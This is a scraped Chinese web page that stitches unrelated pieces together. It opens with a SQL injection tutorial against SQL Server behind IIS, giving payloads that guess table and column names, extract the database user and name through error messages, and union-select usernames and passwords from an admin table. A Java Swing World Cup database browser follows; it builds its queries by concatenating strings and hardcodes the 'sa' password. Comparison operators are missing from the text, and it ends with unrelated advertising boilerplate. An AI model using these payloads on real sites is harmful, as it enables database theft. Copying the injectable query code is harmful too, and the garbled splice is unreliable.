方法1先猜表名 And (Select count(*) from 表名)0 猜列名 And (Select count(列名) from 表名)0 或者也可以這樣 and exists (select * from 表名) and exists (select 列名 from 表名) 返回正確的,那么寫的表名或列名就是正確 這里要注意的是,exists這個(gè)不能應(yīng)用于猜內(nèi)容上,例如and exists (select len(user) from admin)3 這樣是不行的 現(xiàn)在很多人都是喜歡查詢里面的內(nèi)容,一旦iis沒有關(guān)閉錯(cuò)誤提示的,那么就可以利用報(bào)錯(cuò)方法輕松獲得庫(kù)里面的內(nèi)容 獲得數(shù)據(jù)庫(kù)連接用戶名:;and user0 這個(gè)是小竹提出來的,我這里引用《SQL注入天書》里面的一段話來講解: ---------------------------------------------"重點(diǎn)在and user0,我們知道,user是SQLServer的一個(gè)內(nèi)置變量,它的值是當(dāng)前連接的用戶名,類型為nvarchar。拿一個(gè) nvarchar的值跟int的數(shù)0比較,系統(tǒng)會(huì)先試圖將nvarchar的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過程中肯定會(huì)出錯(cuò),SQLServer的出錯(cuò)提示是:將nvarch" ---------------------------------------------看到這里大家明白了吧,報(bào)錯(cuò)的原理就是利用SQLserver內(nèi)置的系統(tǒng)表進(jìn)行轉(zhuǎn)換查詢,轉(zhuǎn)換過程會(huì)出錯(cuò),然后就會(huì)顯示出在網(wǎng)頁(yè)上,另外還有類似的and 1=(selet top 1 user from admin),這種語(yǔ)句也是可以爆出來的。;and db_name()0 則是暴數(shù)據(jù)庫(kù)名。 一旦關(guān)閉了IIS報(bào)錯(cuò),那么還可以用union(聯(lián)合查詢)來查內(nèi)容,主要語(yǔ)句就是 Order by 10 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

創(chuàng)新互聯(lián)建站主營(yíng)上饒網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,App定制開發(fā),上饒h5小程序制作搭建,上饒網(wǎng)站營(yíng)銷推廣歡迎上饒等地區(qū)企業(yè)咨詢
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import java.sql.*;
public class BrowseJFrame extends JFrame implements ListSelectionListener
{
private DataBaseOperation dboper; //操縱數(shù)據(jù)庫(kù)的對(duì)象
private String table; //數(shù)據(jù)庫(kù)中的表名
private String[] columnNames; //指定表中所有列的中文標(biāo)題
private String list_column; //表中的列
private String sort_column; //指定排序依據(jù)的列
private JList list_group; //列表框,顯示分類列的不重復(fù)值
private JTable table_team; //表格組件,顯示數(shù)據(jù)庫(kù)中指定的內(nèi)容
private DefaultTableModel tableModel; //JTable使用的模式
public BrowseJFrame(DataBaseOperation dboper, String table, String[] columnNames, String list_column, String sort_column) //構(gòu)造方法,指定表名
{
this.dboper = dboper;
this.table = table;
this.columnNames = columnNames;
this.list_column = list_column;
this.sort_column = sort_column;
this.setSize(640,240); //界面設(shè)計(jì)
this.setLocation(300,240);
this.setDefaultCloseOperation(EXIT_ON_CLOSE);
JSplitPane splitter_h = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); //分割窗格,水平分割
this.add(splitter_h);
try
{
String[] groupdata = dboper.selectDistinct(table, list_column); //獲得指定列不重復(fù)的值
this.list_group = new JList(groupdata);
this.list_group.setSelectedIndex(1); //選中第1項(xiàng)
splitter_h.add(new JScrollPane(this.list_group));
this.list_group.addListSelectionListener(this); //注冊(cè)選擇事件監(jiān)聽器
tableModel = new DefaultTableModel(columnNames,0); //默認(rèn)表格模式
this.valueChanged(null); //執(zhí)行列表框的選擇事件處理程序
this.table_team = new JTable(tableModel);
// this.table_team.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
splitter_h.add(new JScrollPane(table_team));
}
catch(Exception e)
{
e.printStackTrace();
}
this.setVisible(true);
}
public void display(String columnValue)
{
String conditions="";
if(columnValue!=null !columnValue.equals("全部"))
conditions = this.list_column + " = '"+columnValue+"'";
try
{
dboper.select(this.table, conditions, sort_column, this.tableModel); //查詢并顯示指定組的數(shù)據(jù)結(jié)果集
}
catch(SQLException sqle)
{
sqle.printStackTrace();
}
}
public void valueChanged(ListSelectionEvent e) //在列表框中選擇數(shù)據(jù)項(xiàng)時(shí)觸發(fā)
{ //在表中查詢指定組的數(shù)據(jù),將數(shù)據(jù)結(jié)果集顯示在表格組件中
String selecteditem = (String)list_group.getSelectedValue();
if(selecteditem!=null)
display(selecteditem);
}
public static void main(String args[])
{
String driver = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; //指定SQL Server JDBC驅(qū)動(dòng)程序
String url = "jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=WorldCup2006"; //指定SQL Server數(shù)據(jù)庫(kù)student的URL
String user = "sa"; //指定用戶名
String password = "yeheya"; //指定用戶口令
try
{
DataBaseOperation dboper = new DataBaseOperation(driver,url,user,password);
String[] team_columnNames={"組別","球隊(duì)1","球隊(duì)2","場(chǎng)次","比賽時(shí)間","隊(duì)1進(jìn)球數(shù)","隊(duì)2進(jìn)球數(shù)"};
BrowseJFrame team_browse = new BrowseJFrame(dboper,"MatchRecord", team_columnNames, "group1", "number");
team_browse.setTitle("第18屆世界杯足球賽 小組賽記錄表(賽程安排及戰(zhàn)況記錄)2006年6月9日~7月10日 德國(guó)");
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
/*
//小組賽記錄表
//小組賽積分榜
String[] team_columnNames={"排名","組別","球隊(duì)","國(guó)旗","場(chǎng)次","勝","平","負(fù)","進(jìn)球","失球","凈勝球","積分"};
BrowseJFrame team_browse = new BrowseJFrame(dboper,"TeamScore", team_columnNames, "group1", "rank");
team_browse.setTitle("第18屆世界杯足球賽 小組賽積分榜");
public void valueChanged(ListSelectionEvent e) //在列表框中選擇數(shù)據(jù)項(xiàng)時(shí)觸發(fā)
{ //在表中查詢指定組的數(shù)據(jù),將數(shù)據(jù)結(jié)果集顯示在表格組件中
String selecteditem = (String)list_group.getSelectedValue();
String conditions = this.list_column + " = '"+selecteditem+"'";
try
{
dboper.select(this.table, conditions, sort_column, this.dataModel); //查詢并顯示指定組的數(shù)據(jù)結(jié)果集
}
catch(SQLException sqle)
{
sqle.printStackTrace();
}
}
*/有點(diǎn)東西需要發(fā)給你
零基礎(chǔ)學(xué)android的話首先學(xué)java語(yǔ)言基礎(chǔ),然后學(xué)一種數(shù)據(jù)庫(kù)(mysql,或sqlserver),最后學(xué)android開發(fā)。
祝你成功!
當(dāng)前文章:sqlserver比賽,sql大賽
轉(zhuǎn)載來源:http://chinadenli.net/article44/dsehgee.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)建站、服務(wù)器托管、云服務(wù)器、虛擬主機(jī)、網(wǎng)站改版、網(wǎng)站收錄
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)